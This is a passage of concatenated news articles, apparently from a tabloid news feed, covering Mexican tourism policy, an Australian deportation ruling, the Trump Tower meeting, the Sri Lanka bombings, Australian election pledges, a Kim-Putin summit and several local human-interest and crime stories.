previous year. This year, however, the Ministry of Tourism (Sectur) will be working without functioning marketing and promotion offices abroad for the first time in nearly 20 years. According to Torruco, the Ministry will maintain these positive growth trends with a hands-on approach that is also in line with the new President's closely held values of government austerity and social reform. "We're looking at a very different way of doing things, a completely new tourism policy," he stressed. "We're going to do this in several phases. We have already solved Tianguis [trade show] financing for the next five years, as well as 52 fairs where there will be no cost to the public treasury. There's a presidential policy of saving, of Republican austerity, because we must have the resources to have the support of the local population." Better Quality of Life Means More Safety Tourism will now become an instrument of integration and social reconciliation that will not only address the needs of the citizens living and working in the country's top 14 tourist areas, but will also improve their quality of life, serving to lessen insecurity & safety concerns. "In Acapulco, we are investing $6 billion pesos in infrastructure this year, with the same amount planned for next year, which will go to support new schools, health centers, and more security. It follows that tourism destinations that have happy residents will offer better services and there will be greater harmony," he added. "A quiet, hardworking, safe country is the best promotion for any of its tourist attractions. Warnings are eliminated, perception is eliminated, and above all, it initiates the word-of-mouth promotion by visitors for its proximity, the investments that have already been made, and for its many attractions. Very few places offer turquoise-colored beaches where nature has already provided a water heater. That's an added value in addition to our great historical cultural heritage and gastronomy." Maya Train An important part of Sectur's social reconciliation tourism strategy includes the creation of the much-vaunted Maya Train, a $1.5 billion peso project that is expected to dramatically boost the economy and tourism in five states: Yucatan, Quintana Roo, Campeche, Tabasco, and Chiapas. "This will generate a lot of jobs and benefit the 3.5 million tourists who are anxiously awaiting these circuits," said Torruco. "It will offer vacation alternatives that mix sun and sand with jungles or jungle with archaeological sites." Operacion Toca Puertas One of the current administration's concerns has also been the need to increase the number of higher-expenditure tourists vs. higher number of visitors in general, even though 2019 revenue is predicted to increase 10.6 percent over that of 2018. Enter(Operation Door-Knocking), a market diversification strategy Torruco used successfully during his tenure as Secretary of Tourism for Mexico City. "We must promote, create and disseminate our products better," he said. "We are interested in specific market niches. [Operacion Toca Puertas] consists of going directly to countries that are interested and have strong outbound tourism." The first approach was with China, which has 22 million high-income citizens. Sectur has already been working with high-end tour operators in that country, who have shown a marked interest in Mexico's offer. "We are in no way abandoning the United States or Canada, which together are responsible for 72.5 percent of the tourists that visit our country - last year that number was 41.5 million visitors," said Torruco. "We are going to continue to visit tour operators in the top cities of origin for travel to Mexico that have been loyal friends of Mexico. We'll be meeting with the most important tour operators." "We will also be meeting with travel agents, but now we'll be accompanied by the tourism secretaries of the states that appeal to their particular interests. We'll be putting the offer together with the demand: we will travel with the providers in case [agents] need contacts in the different destinations, in most cases with executives from the airlines. This way the secretaries [of tourism] can present their products, their audiovisual, and their content." Focus on Technology Agents will also have a more immediate link to Mexico's information and attractions via a revamped VisitMexico.com website. "The Visit Mexico page is one of the most visited [in the world], second only to Australia's," said Torruco. Through strategic alliances with seven international channels - which will generate the revenue needed to support the site - the portal will feature quality videos linked to specific providers that will advertise their tours and services in great detail, allowing agents and travelers to select what they need for their particular vacation. Consulates to Promote Mexico Abroad Sectur recently signed an agreement with the Ministry of Foreign Relations for the latter to become their promotional arm abroad. "We will soon launch a series of courses on how to attract conventions and how to carry out certain promotional duties that will be of value for ambassadors and consuls general. [This will start] in the main countries of origin for tourists to Mexico. We'll have the support of the embassies and the consulates around the world and we'll provide them with information to help us organize the events for Operacion Tocando Puertas to benefit promotion," explained Torruco. Great Option "Mexico continues to be a great option for the United States, for the US market, for travel agents. The investments continue: we [recently announced] that during this Government's first three months there have already been U.S. $5 billion invested in new construction," said Torruco in closing. "This means there is confidence in President Andres Manuel Lopez Obrador and confidence in the tourism sector. Little by little, everyone will adapt to the new language, to this new form of government that sees tourism first and foremost as an element of social reconciliation." A violent thug from New Zealand who attacked a couple with a gang of knife and bat wielding maniacs has avoided deportation because a tribunal deemed it was a 'family dispute'. Taupati 'Junior' Tuimalatu, 39, of Hillside - northwest of Melbourne - was to be shipped back to New Zealand upon serving his four years and six months' sentence over the 2012 attack. But the Administrative Appeals Tribunal this month overturned his mandatory deportation declaring the crime was 'committed in a certain context of a family dispute'. Taupati 'Junior' Tuimalatu, 39, of Hillside, was set to be deported over a savage attack on relatives of his wife, but he will now be allowed to stay in Australia after winning an appeal Bella Uluakiahoia was stabbed in the temple and the chest outside her Point Cook home during the eleven-person brawl Bella Uluakiahoia was stabbed in the temple and the chest outside her Point Cook home during the eleven-person brawl. Her husband Soape had been beaten, and stabbed in the head and neck. Small children witnessed the violent attack, as what began as an extended family feud soon turned bloody. Tuimalatu sat through his own six-week trial in 2014 at the County Court of Victoria over the brawl before going on the run just days before the jury delivered a guilty verdict. Soape Uluakiahoia (above) was beaten and stabbed in the head and neck by a group of 11 thugs, including Tuimalatu, who then went on the run after fearing he would be found guilty of the crime He was on the lam for more than 17 months before being caught by Queensland police in September 2015 and extradited to Victoria. He has been serving his sentence ever since. His visa was cancelled in February 2018 under section 501(3A) of the Migration Act that he failed to pass Australia's character test. Tuimalatu appealed the minister's decision with the AAT, which this month overturned the thug's mandatory deportation. Tuimalatu had been born in Samoa in August 1979 and migrated to New Zealand with his parents when he was four. He became a New Zealand citizen and in February 1992 he migrated to Australia with his parents. By 1999 he was committing robberies and escaped a year jail term with a community based order. Small children witnessed the violent attack, as what began as an extended family feud soon turned bloody He was convicted of a further seven offences between February 2002 to January 2009 relating to public nuisance offences, obstructing a police officer and contravening an order to provide identifying particulars. In September 2009 at Brisbane Magistrates' Court, Tuimalatu was convicted of wilful damage and fined $400. A month later he was convicted of possessing dangerous drugs and fined again. In November that year he was convicted of being a public nuisance and possessing more dangerous drugs. He was fined yet again. In 2011 he got onto harder drugs which led to the violent offences that earned his deportation. In allowing Tuimalatu to stay in Australia, the tribunal stated there was no other history of him acting violently since he was a teenager. 'This was a family dispute which spiralled quickly, and badly, out of control,' it stated. 'It was deeply regrettable that the Applicant's partner (and, therefore, he) got involved in the events of that day and the Tribunal is satisfied that they fully understand that.' 'It seems to the Tribunal that the behaviour that day was out of character for someone who had generally contributed productively to our Australian community, and has been otherwise a good father, partner and stepfather.' The AAT also noted Tuimalatu has five Australian citizen children and that his parents and siblings are also Australian citizens. 'All of these links demonstrate to the Tribunal's satisfaction that Mr Tuimalatu objectively has strong ties with Australia,' it stated. The president's communications director didn't sugarcoat it: The emails, Hope Hicks told Donald Trump, were 'really bad.' They concerned an as-yet unpublicized meeting in Trump Tower a year earlier involving Donald Trump Jr., his brother-in-law, Jared Kushner, and former campaign chairman Paul Manafort. The emails showed how the president's oldest son had accepted a meeting with a Russian lawyer with the promise of receiving dirt on his father's opponent, Hillary Clinton. Not only that, he'd been told the dirt was part of the Russian government's ongoing support for his father. 'I love it,' Trump Jr. had replied. When Kushner tried to bring the documents to Trump's attention, on June 22, 2017, his father-in-law didn't want to discuss them, and shut the conversation down, Hicks said. In this March 29, 2018 file photo, President Donald Trump points to outgoing White House Communications Director Hope Hicks on her last day before he boards Marine One on the South Lawn of the White House in Washington But she looked them over on her own the next week, and went to see the president. She warned him that when a story about these messages broke, it would be 'massive.' She was right. The June 9, 2016, meeting had been brief and, by the accounts of participants on both sides, fairly uneventful - even boring. It brought together an unlikely cast of characters, including a gregarious music promoter, a Russian-American lobbyist with a background in Soviet military counterintelligence and a Russian lawyer with links to the Kremlin. The gathering was initiated by Emin Agalarov, a pop star in Russia whose real estate developer father Aras had worked with Trump on a Miss Universe pageant in Moscow in 2013. The younger Agalarov's publicist, a British music promoter named Rob Goldstone, emailed Trump Jr. on June 3 with an enticing offer. 'The Crown prosecutor of Russia' had met with Aras Agalarov and was offering documents that would incriminate Clinton and her dealings with Russia. This was part of efforts by Russia and its government to help his father, Goldstone wrote. Hicks testified behind closed doors to the House Intelligence Committee, while also meeting with Mueller's investigators Hicks quickly grasped that a meeting involving Russian lawyer Natalia Veselnitskaya and Trump campaign members looked bad Donald Trump Jr. tweeted out text messages that led to the Trump Tower meeting Minutes later, Trump Jr. memorably responded: 'Seems we have some time and if it's what you say I love it especially later in the summer.' The meeting occurred as scheduled, though it is disputed who knew what in advance. Trump's deputy campaign chairman, Rick Gates, said Trump Jr. had told other campaign officials that he had a lead on negative information, originating from a group in Kyrgyzstan, on the Clinton Foundation. But others said they had no memory of Trump being told in advance about the meeting. Trump said in written answers supplied to Mueller's office that he had no recollection that he knew about it ahead of time. At the center of the meeting was the lawyer thought to be delivering dirt on Clinton - Natalia Veselnitskaya, a former prosecutor who'd aggressively lobbied against a U.S. law known as the Magnitsky Act that imposed sanctions on Russian officials. Russia had retaliated by banning U.S. adoptions of its children. At the meeting, Veselnitskaya raised allegations that Clinton and the Democratic National Committee benefited from dirty Russian money. The conversation pivoted to sanctions and adoptions. Sitting in was Trump campaign chair Paul Manafort, who is now living in a federal penitentiary in Pennsylvania Trump son-in-law Jared Kushner also attended The Trump campaign representatives were not impressed. An impatient Trump Jr. insisted there was nothing his father, a private citizen, could do about sanctions. Kushner texted 'waste of time' to Manafort, and asked his assistants to give him an excuse to leave. That was that - at least until a year later, when emails about the meeting were discovered as Trump associates complied with congressional requests for documents relating to contacts with Russians during the 2016 campaign. Trump was attending the G20 summit in Germany in July when he learned The New York Times was preparing a story about the meeting. He told Hicks - who'd earlier advised making the emails public to get ahead of negative publicity - not to comment. It was an unusual reaction, she said, for a loquacious president who considered not responding to the media to be the 'ultimate sin,' according to Mueller's report. When he asked her later that day what the meeting was about, she said she'd been told the purpose was to discuss Russian adoptions. 'Then just say that,' he insisted. As they flew home, she presented Trump with a draft statement on his son's behalf that said simply he'd been asked by someone he knew from the Miss Universe pageant to meet someone who might have information helpful to the campaign. Too much information, Trump told her. Just say the meeting was brief and about adoption. Hicks wasn't so sure, and neither was Trump Jr. He insisted that the statement be amended to say they'd 'primarily' discussed adoptions. After all, he conceded to Hicks, the meeting had opened with 'some Hillary thing.' It wasn't entirely about adoptions. Hicks agreed, but 'boss man worried it involves a lot of questions,' according to text messages reviewed by Mueller's team. Trump Jr. stood firm: 'If I don't have it in there it appears as though I'm lying later when they inevitably leak something.' The statement that was ultimately produced did include the word 'primarily,' leaving open the possibility other topics were discussed. But, importantly, there was no mention of Hillary Clinton, nothing about the dangled promise of dirt, no hint that the president's son had embraced aid he was told was coming from Russia. As the story unspooled for days, the Trump team fumbled the response. One of the president's personal lawyers asserted incorrectly that Trump had had no role in the statement, only to admit months later that he had personally dictated 'a short but accurate response.' Three days after the meeting was disclosed, Trump Jr. published his own emails on Twitter to pre-empt their disclosure by the Times. As Trump Jr. did his own form of damage control, he tweeted after news of the meeting surfaced that he just 'had to listen' to the lawyer's information and told Sean Hannity of Fox News that he considered it ordinary 'opposition research.' 'In retrospect,' he said on Fox, 'I probably would have done things a little differently.' ____ Follow Eric Tucker on Twitter at http://www.twitter.com/etuckerAP The family of William Harrop and Dr Sally Bradley, who died in the Sri Lanka terrorist bombings, have paid tribute to them. Mr Harrop's children eulogised their father and stepmother as a couple who 'dedicated their lives to saving and helping others', saying their fireman father was 'the best anyone could wish for'. Gavin and Miles Harrop, in a statement issued by the Metropolitan Police, said: 'Our beloved father Bill Harrop was a devoted father, the best anyone could wish for. He loved travel, especially sampling local dishes, rugby and fishing. 'His happiest times were spent with his family, sharing good times as we explored the world. 'Bill was born in Manchester and educated at Sale Grammar School before joining Greater Manchester Fire Service, where he rose to the rank of borough commander. Dr Sally Bradley and William Harrop died in the Easter Sunday bombings in Sri Lanka 'He was proud to have led one of the teams who responded to the 1996 Manchester bomb. Throughout his time in the fire service Bill continued his education, achieving several university degrees.' The family statement continued: 'Bill was married to our stepmother Dr Sally Bradley who worked as a GP and later in management roles in hospitals in the UK and Australia. Together they dedicated their lives to saving and helping others. 'On his retirement Bill moved to Australia with Sally to embark on new adventures, which have been so cruelly ended. 'Our father was also our hero and he will always be our role model as a family man who protected his community.' The Foreign Office has advised against all but essential travel to Sri Lanka, following the Easter Sunday blasts that killed at least 359 people, including eight Britons. Dead bodies of victims lie inside St. Sebastian's Church damaged in blast in Negombo, north of Colombo, Sri Lanka Sri Lankan security forces secure St. Anthony's Shrine after an explosion hit St Anthony's Church in Kochchikade. There are reports security chiefs missed warnings of the attack Foreign Secretary Jeremy Hunt said: 'Following the horrific attacks on Easter Sunday, and the ongoing Sri Lankan security operation, I have received updated advice from the Foreign Office and decided to update the travel advice to British nationals to Sri Lanka to advise against all but essential travel. 'Our hope is that it will be possible to change this when the current security operation has concluded. My first priority will always be the security of British citizens living and travelling abroad. 'We all hope the situation will return to normal very soon, and that the Sri Lankan tourism industry is able to get back on its feet following the terrorist attacks. We will do all we can to help the Sri Lankan authorities in the meantime.' Saddle Ridge Middle School teacher, Dr James Barrett, reportedly had his contract extended by the school district despite him being charged with possessing child porn A Georgia middle school teacher reportedly had his contracted extended after he was charged with possessing child pornography. Four days after Dr James Barret was arrested on April 5, the Walker County School Board voted to extend the Saddle Ridge Middle School teacher's contract. Barret was arrested following a five-month criminal investigation that started in November 2018 when a student described obscene videos on Barret's iPad. The student had reportedly used Barret's device to finish an assignment and saw 'porn' in the teacher's search history, according to WRCB-TV. That incident led officers to issue a search warrant on Barret's iPad, several cell phones and two computers. Authorities did not release details of what was found, if anything, on those devices. But a second search warrant issued in January allowed for officers to search Barrett's home and his internet browsing history, which allegedly showed searches for 'naked pubescent boys'. During the investigation Barret was allowed to keep his position, but he was taken out of the classroom on November 29, 2018. And despite his arrest, his contract with the Walker County School system has been extended. Superintendent Damon Raines explained to WRCB that 'contracts come out every year in April for the entire district, so that's just typical of what happens every year, and so a tenured teacher gets a contract'. 'Unless there's something... they decide to resign, they're going to another district, something in life has changed and they're moving away, they still get that contract,' Raines added. Barrett currently works outside the classroom at the Advanced Education Center, writing curriculum for third and eighth-grade social studies. Raines told the station that he chose not to place Barrett on paid leave pending the investigation, because if he was going to pay Barret he wanted him to be productive. 'We'll wait to see what the criminal investigation shows and that will allow us to make decisions for the school system,' Raines added. Malcolm Turnbull has thrown his support behind Scott Morrison in what he says will be a close federal election. Mr Turnbull was in New York City on Thursday to address an Anzac Day function organised by the Australian consulate. The former prime minister praised the first 15 days of Mr Morrison's campaign with the election set for May 18. Former prime minister Malcolm Turnbull (pictured above in December), threw his support behind his replacement Scott Morrison from New York on Thursday 'He's doing a great job,' Mr Turnbull told reporters of Mr Morrison, who replaced him as prime minister in August. 'It's a close election and I wish him all the best.' The election campaign resumes on Friday after Labor leader Bill Shorten and Mr Morrison agreed to a truce on Anzac Day, with no ads run or political statements made by the leaders. Pre-poll voting begins on Monday and Mr Turnbull predicted a close election despite Mr Shorten being considered the front runner. Should Labor be victorious, he will be Australia's seventh prime minister in 10 years. Turnbull said his replacement, Prime Minister Scott Morrison (pictured above) was doing 'a great job' and predicted the election would be close 'I think all Australian elections are close and this one will be close,' Mr Turnbull said. 'It's quite complex around the country. But I'm not here to make election commentary and I wish Scott all the best.' Mr Turnbull, who has a residence in New York, delivered the keynote address at a veterans lunch organised by the Australian consulate. He spoke of the importance of cyber security in policing terrorism and referred to the 253 people killed in the Sri Lanka bombings as well as the 50 slain in terror shootings at Christchurch mosques in March. 'It's more than a century since Australians and Americans first went into battle together in Hamel in France and since then, in every major conflict, we fought together side by side,' he said in a speech. 'The battlefields of 2019 are far more complex than they were a century ago; cyber warfare is much different. It offers opponents the ability to inflict damage at relatively low cost to themselves with a high degree of deniability. 'The technology that has done so much good has also given the individual actor or a small group a lethality and a reach which, in years past, was only available to nations ... as we have seen recently so tragically in NZ and Sri Lanka.' A pantry moth invasion brought on by this year's sweltering summer is plaguing Australian homes. One expert from the South Australian Research and Development Institute said the recent hot spell is sparking an explosion in their population. 'The warmer weather means they develop faster and this may be why they appear more prevalent,' said Dr Peter Taverner in the Adelaide Advertiser. Residents have been battling a particularly strong infestation in the cupboards of their kitchens. The sweltering hot weather recently has contributed to an outbreak of pantry moths (pictured) in some Australian homes The pantry moths congregate in kitchens (pictured), especially in cupboards and pantries One mother, Clair Kolokas, said: 'I keep thinking surely I've got them all, and the next morning they're back.' 'I have gone through the entire cupboard, and my children are scared to open it in case one flies out into their face,' she said. Combined with the hot weather, part of the reason for the outbreak is that the moths can lay larvae on foods before they are packed and processed. 'These moths lay minute eggs in tiny cracks and holes in the plastic packing,' Dr Ted Edwards, honorary fellow with CSIRO's Australian National Insect Collection, told ABC.net One insect expert recommends wiping down kitchen areas and sealing all food in airtight containers in order to stop pantry moth infestations The larvae then forms into adult moths in household cupboards and pantries. If this happens, Dr Edwards has a couple of tips. 'If you're concerned about a package that's come in from the supermarket or a package that you've got in the pantry, then freeze if for a couple of weeks to kill the larvae and eggs,' he said. Dr Edwards also said the first thing to do if you notice a pantry moth infestation is to dispose of any affected foods and to thoroughly wipe down your pantry area. To avoid any future infestations, he recommends keeping dry foods in sealed containers, preferably screw-top jars. Rogue state leader claimed that the region's negotiations are at a 'standstill' Kim said that the peninsula's peace process is now dependent on Washington He made the comments Thursday during his first meeting with Vladimir Putin Kim Jong Un has hit out at the United States for acting in 'bad faith' during his unsuccessful talks with President Donald Trump, which deadlocked Korean peace negotiations. The North Korean premier made the comments yesterday during his first meeting with Russia's Vladimir Putin which was described as 'unreserved and friendly'. Februrary's Hanoi summit came after a fiery war of words between Mr Trump and Kim, but broke down when the White House refused to budge on sanctions it had imposed on the rogue state. Now, Kim has taken aim at the US President for grinding the region's peace process - including a deal on the North's nuclear missiles - to a 'standstill', according to state media. Kim Jong Un (right) has hit out at the United States for acting in 'bad faith' during his unsuccessful talks with President Donald Trump (left) North Korean leader Kim Jong Un and Russian President Vladimir Putin vowed to seek closer ties at their summit in Vladivostok, where Kim made the comments about the US The North Korean leader said 'the situation on the Korean peninsula and the region is now at a standstill and has reached a critical point', Korean Central News Agency said. Kim warned that the situation 'may return to its original state as the US took an unilateral attitude in bad faith at the recent second DPRK-US summit talks', the agency added. At the Hanoi talks, cash-strapped North Korea demanded immediate relief from sanctions, but the two sides disagreed over what Pyongyang was prepared to give up in return. Kim told Putin that the 'DPRK will gird itself for every possible situation', KCNA said. Februrary's Hanoi summit broke down when the White House refused to budge on sanctions it had imposed on the rogue state Kim has taken aim at the US President for grinding the region's peace process - including a deal on the North's nuclear missiles - to a 'standstill', according to state media The comments also came about a week after Pyongyang demanded the removal of Secretary of State Mike Pompeo from stalled nuclear talks with Washington, accusing him of derailing the process. But as the rogue state's relationship with the US is tested, the North Korean leader invited Putin to visit North Korea 'at a convenient time' and the invitation was 'readily accepted'. During his talks with Kim on Thursday, Putin positioned himself as a counterweight to the United States, insisting that the North needed 'guarantees of its security, the preservation of its sovereignty'. Mr Putin said: 'We need to... return to a state where international law, not the law of the strongest, determines the situation in the world.' Kim said he hoped to usher in a 'new heyday' in ties between Pyongyang and Moscow. The pair 'were unanimous' that their meeting could help in 'strategically controlling the unstable situation of the Korean peninsula in the wake of the second DPRK-US summit talks', it said. Both sides of politics have ramped up their battle for the tradie vote by promising to spend millions of dollars on new apprenticeships. Making his first policy announcement after Anzac Day, Prime Minister Scott Morrison said that if re-elected, his Coalition government would spend $60 million over four years on a wage subsidy trial. Under this plan, taxpayers from July 1 would help 1,600 to 3,200 young people in regional areas get an apprenticeship in a trade with a skills shortage. Both sides of politics have ramped up their battle for the tradie vote by promising millions of dollars on new apprenticeships (pictured is Prime Minister Scott Morrison with tradies) The government is proposing to double the intake of its Australian Apprentice Wage Subsidy Trial, which has this year already helped 1,600 youths train to become plumbers, mechanics, electricians, painters and hairdressers. Campaigning in Townsville, in the ultra-marginal north Queensland Labor seat of Herbert, Mr Morrison announced that if he won the May 18 election, eligible employers would receive subsidies covering 75 per cent of the apprentice's award wage in the first year, followed with 50 per cent in the second year and 25 per cent in the third year. Labor's skills and apprenticeships spokesman Doug Cameron, who is retiring at the election, claimed the Coalition's wage subsidy policy, to help 1,600 apprentices, was an extension of a 'bush wage'. 'The Liberals' scheme simply encourages businesses to view young workers as a source of cheap labour by paying large incentives to rural employers with no history of training,' he said in a statement. Making his first policy announcement after Anzac Day, Prime Minister Scott Morrison said that if re-elected, his Coalition government would spend $60 million over four years on a wage subsidy trial The Labor Opposition is accusing the Liberal and National parties of gutting 150,000 apprenticeships since it came to power in 2013. It is vowing to reverse this decline by pledging to spend $334 million over four years on doubling, to $8,000, incentives for employers who take on an apprentice and a $2,000 subsidy for apprentices to fund their education costs. Labor is promising to fund 150,000 new apprenticeships. Like the government, they are vowing to address skills shortages. Over four years, Labor's is pledging to spend $1billion on apprentice schemes and on TAFEs. The funding will cover a fee waiver for 100,000 TAFE students, a $200million upgrade to TAFE campuses across Australia, help for 10,000 young Australians to complete a pre-apprentice program preparing them for work and retraining for 20,000 older workers. Labor is instead proposing to spend $334million over four years on doubling, to $8,000, incentives for employers who take on an apprentice and a $2,000 subsidy for apprentices to fund their education costs (pictured is Opposition Leader Bill Shorten with a Sydney building worker who belongs to the militant Construction Forestry Mining and Energy Union) The government has accused Labor leader Bill Shorten of jeopardising the future of 3,200 apprentices by opposing its wage subsidy scheme. 'Bill Shorten and Labor have opposed this support for regional communities at every opportunity,' Mr Morrison and Senator Cash said in their joint statement. 'As such 3,200 Australians in rural and regional areas will miss out on an apprenticeship opportunity under Labor. 'Bill Shorten needs to come clean about whether he will rip up the wage subsidy and take away their jobs.' A Labor candidate for the upcoming election has been forced to take down an ISIS-inspired meme from his Facebook after orders from the party's hierarchy. Wayne Kurnoth - who is the fourth name on Labor's Northern Territory senate ticket - was last night ordered to remove the photo showing ABC host Emma Alberici being beheaded by former Prime Minister Malcolm Turnbull. The meme used an altered image taken from the video of US journalist James Foley's horrific beheading at the hands of UK-born ISIS enforcer Jihadi John in 2014. Labor candidate Wayne Kurnoth (pictured with Bill Shorten) has been forced to take down an ISIS-inspired meme from his Facebook after orders from the party's hierarchy Mr Kurnoth shared this meme last February depicting former Prime Minister Malcolm Turnbull beheading ABC host Emma Alberici with an axe in an ISIS-inspired scene Mr Kurnoth received a call from Labor Party bosses on Thursday night telling him to remove the photo and issue an apology, The Daily Telegraph reports. NT State Labor Secretary Anthony Brereton said the image - which was posted early last year - did not meet the party's 'values'. 'This image is not in line with the NT Labor Party's values and expectations. He's been instructed to remove it and he is expected to apologise,' Mr Brereton said. Mr Kurnoth is a member of the United Voice Trade Union and was last year awarded 'organiser of the year' in the NT by the ACTU. He has been a prominent union member for a number of years and features photos on his Facebook alongside Labor leader Bill Shorten and other party candidates. The meme shared by Mr Kurnoth depicted Mr Turnbull standing over a kneeling Ms Alberici with an axe in hand. Mr Kurnoth (pictured with Labor senator Malandarri McCarthy) is a member of the United Voice Trade Union and was last year awarded 'organiser of the year' in the NT by the ACTU It came amid allegations that the Turnbull government had complained to the ABC about the reporting of Ms Alberici and its chief political reporter Andrew Probyn. 'First Turnbull sabotaged Emma Alberici's scrutiny of his government by axing Lateline. Now he's axed her online analysis of his lies to justify a $65 billion company tax cut,' the text on the image read. Mr Turnbull denied reports that he had requested the government-funded ABC sack Ms Alberici, Mr Probyn or any other journalists. The Duchess of Sussex is popular among citizens from the Commonwealth's population because they can say Meghan 'looks like me', the organisations secretary-general said today. Meghan has taken on important roles with the institution during her first year as a member of the monarchy and has been praised by Baroness Scotland as a 'young, vibrant, professional woman', dedicating herself to public service. The Secretary-General, who was born in the Commonwealth country of Dominica and brought up in the UK, acknowledged the duchess' background would be relevant to many across the globe. Meghan has been praised by Baroness Scotland as a 'young, vibrant, professional woman', dedicating herself to public service The Duke and Duchess of Sussex, with Baroness Scotland, at the Your Commonwealth Youth Challenge reception at Marlborough House in London What is the Commonwealth? Known formally as the Commonwealth of Nations, the group is a free association of 53 member states. The modern Commonwealth was formed in 1949 when eight countries - Australia, Britain, Ceylon, India, New Zealand, Pakistan, South Africa and Canada - signed the Declaration of London exactly 70 years ago - April 26, 1949 - after a six-day conference. The Commonwealth was formally constituted by the London Declaration, which established the members as 'free and equal' in 1949. As countries sought greater self-governance in the mid-20th century, a new body was set up which united members states not by any legal obligation, but instead by shared values of democracy, freedom of speech and human rights. The Commonwealth accounts for about a third of the planet's population, or 2.4 billion people. In the past, commentators have criticised the Commonwealth for its apparent weakness, illustrated by what critics called 'dithering' during the political crisis in Zimbabwe that finally culminated in the country being suspended from the institution. But supporters of the family of nations believe it has allowed countries to unify on common causes like climate change or challenging Apartheid and ultimately, through unity, affect change. Advertisement In an interview to mark the family of nations' 70th anniversary, Baroness Scotland, spoke about the duke and duchess, who is due to give birth imminently. She said: 'I think the fact they are a young, committed couple, that they are both sharing such a deep interest in young people and in issues of learning and development, has been an inspiration for many of those young people and they love to see them. 'I think her contribution as a young, vibrant, professional woman who is now going to dedicate herself to public service, is a great example, a great example. 'Our Commonwealth is very, very mixed but as someone said to me lots of people are getting very excited about the fact the duchess is mixed race, she's not the first mixed race person to go into the royal family and people tend to forget that.' It is thought Queen Charlotte, who was married to George III, was of African descent and she has been described as Britain's first black Queen. With 60% of Commonwealth citizens aged 29 or under, the duke and duchess' appeal to the young is being capitalised on. Meghan is patron of the Association of Commonwealth Universities and vice president of the Queen's Commonwealth Trust (QCT), which champions youth around the world, while Harry is the QCT's president and the Commonwealth's Youth Ambassador. In the past, commentators have criticised the Commonwealth for its apparent weakness, illustrated by what critics called 'dithering' during the political crisis in Zimbabwe that finally culminated in the country being suspended from the institution. Meghan and Harry pictured at a womens empowerment reception during last years Commonwealth Heads of Government Meeting in the UK But supporters of the family of nations believe it has allowed countries to unify on common causes like climate change or challenging Apartheid and ultimately, through unity, affect change. Throughout her reign the Queen has been a passionate supporter of the family of nations which she heads and the Secretary-General said they had benefited from 'her wisdom, her support, and her total lifelong commitment'. Charles was named as the next head of the Commonwealth when the leaders of its member nations met at Windsor Castle last year, another example of the gentle handover of responsibilities from the Queen to her son and heir. The Queen giving the opening address at the Commonwealth Heads of Government Meeting staged in the UK in 2018 Baroness Scotland, a former attorney general, said: 'I think the Commonwealth and his royal highness have a lot in common, because of course in 1989 when the Commonwealth was raising the issues of climate change, if you remember there weren't many people who were flying that particular flag. 'The Commonwealth have been pushing quite strongly the idea of regenerative development, that we need to be more holistic, we need to take care of our environment and we need to give back to it and nurture it well can you think of someone else who's been saying that for all that time. 'The Prince of Wales has been committed to that agenda for as long as I can remember but also (with) the Prince's Trust he's been committed to young people, and he's been committed to making sure that the young people who are disadvantaged and forgotten (are supported).' A picture of sneaky snake that was spotted on a fence next to a family's house has social media users scratching their heads. Brisbane Snake Catchers posted an image of a fence covered in shrubbery to Facebook on Friday asking fans to find the snake. A terrified homeowner sent the picture in so the experts could identify the species, snake catcher Stewart Lalor said. A picture of sneaky snake that slithered its way onto a Brisbane driveway has social media users scratching their heads He said his team had trouble at first trying to spot the reptile themselves. 'We spent a long time looking at it, going 'what the heck?' And while some social media users were certain there was no snake in the picture, Mr Lalor said it was definitely in there. One eagle-eyed user had managed to spot the snake hidden beneath the shrubbery on the fence. One eagle-eyed user had managed to spot the snake hidden beneath the shrubbery on the fence Mr Lalor said they were able to confirm the species as a common tree snake after a second picture was taken once the snake had emerged from behind the bush. Tree snakes are non-venomous and are one of the most common snakes found in Brisbane suburbs, he said. 'If you've got to have a snake in your yard, that's the one you want,' he said. Mr Lalor said people often send in snaps to the Brisbane Snake Catchers of snakes they need help identifying and sometimes it can be tricky. 'We get pictures from people asking for help to identify them and sometimes its from 100metres away,' he said. 'It's a good idea try get a clear photo of the snake.' Chick-fil-A have been praised after staff in Texas visited a young boy preparing for brain surgery to deliver a portion of nuggets, despite the restaurant being closed for the Easter holiday. Danny Agee, a young boy from Temple in Texas, was scheduled for surgery to remove a tumour in his brain on Monday on Monday, 22 April. The night before the operation, Agee said he was hungry and when his surgeon said he could eat whatever he wanted, he requested Chick-fil-A nuggets. Chick-fil-A have been praised after staff in Texas visited a young boy preparing for brain surgery to deliver a portion of nuggets, despite the restaurant being closed for the Easter holiday Chick-fil-A, usually closed on Sundays, were so touched with the boy's story, not only did staff bring him a hearty dinner, they also brought along their mascot Doodle Chick-fil-A, usually closed on Sundays, were so touched with the boy's story, not only did staff bring him a hearty dinner, they also brought along their mascot Doodle. His nurse Jenny Pearce is the kind-hearted carer behind the arrangement, and it was her who told the restaurant about the serious surgery he was scheduled for. Danny's emotional father, Joey, shared footage of the visit to Facebook, saying 'my son Danny got Nuggets delivered not only on a Sunday, but on Easter Sunday by a manager and the [eat mor chikin] Cow. His nurse Jenny Pearce is the kind-hearted carer behind the arrangement, after she told the restaurant about the boy and the serious surgery he was scheduled for 'His reaction was priceless! Hugs for everyone.' 'For us, this is not a story about Danny or Chick-fil-A. This is a story about how when you let him, God will work miracles through you and for you,' Joey told Fox News. 'This is the essence of our story and I think Chick-fil-A would agree. Thanks for taking the time and God Bless. By the way, Danny's surgery went amazing even though they didn't remove the tumor and he should be going home very soon.' The bomb squad was called to Melbourne's CBD on Friday morning after a suspicious package was found. Several streets were closed as police conducted safety checks. The item was deemed not suspicious and police gave the all clear. Emergency services were called to Franklin Street (pictured) about 6.45am following reports a suspicious item had been located A police spokesman told Daily Mail Australia: 'Police conducted safety checks at a premises in Melbourne's CBD this morning. 'Emergency services were called to the Franklin Street site about 6.45am following reports a suspicious item had been located. 'Traffic was blocked between Swanston and Elizabeth streets as a precaution and the Bomb Response Unit attended. 'The item has been deemed non-suspicious and roads are now re-opened.' A man has admitted spiking a woman's McDonald's ice cream sundae with prescription medication in an attempt to stupefy her. The 22-year-old man from Auckland was charged last year after a woman claimed she found pills in ice cream sundaes she'd bought from McDonald's. The man wasn't an employee of the restaurant and a McDonald's spokesman told Stuff it was pleased police had cleared the chain of any involvement in the incident. A 22-year-old man has pleaded guilty to putting pills in a woman's McDonald's sundae (pictured is a sundae from the restaurant chain) in a bid to stupefy her The man who pleaded guilty on Friday did not work at the restaurant chain, and a spokesperson for McDonald's (pictured is a McDonalds) said it is pleased that police have cleared the it of any wrongdoing 'We strongly believed that the foreign object did not come into contact with the McDonald's sundae before it left the restaurant.' 'Food safety is of utmost importance to McDonald's and therefore we treat any complaint 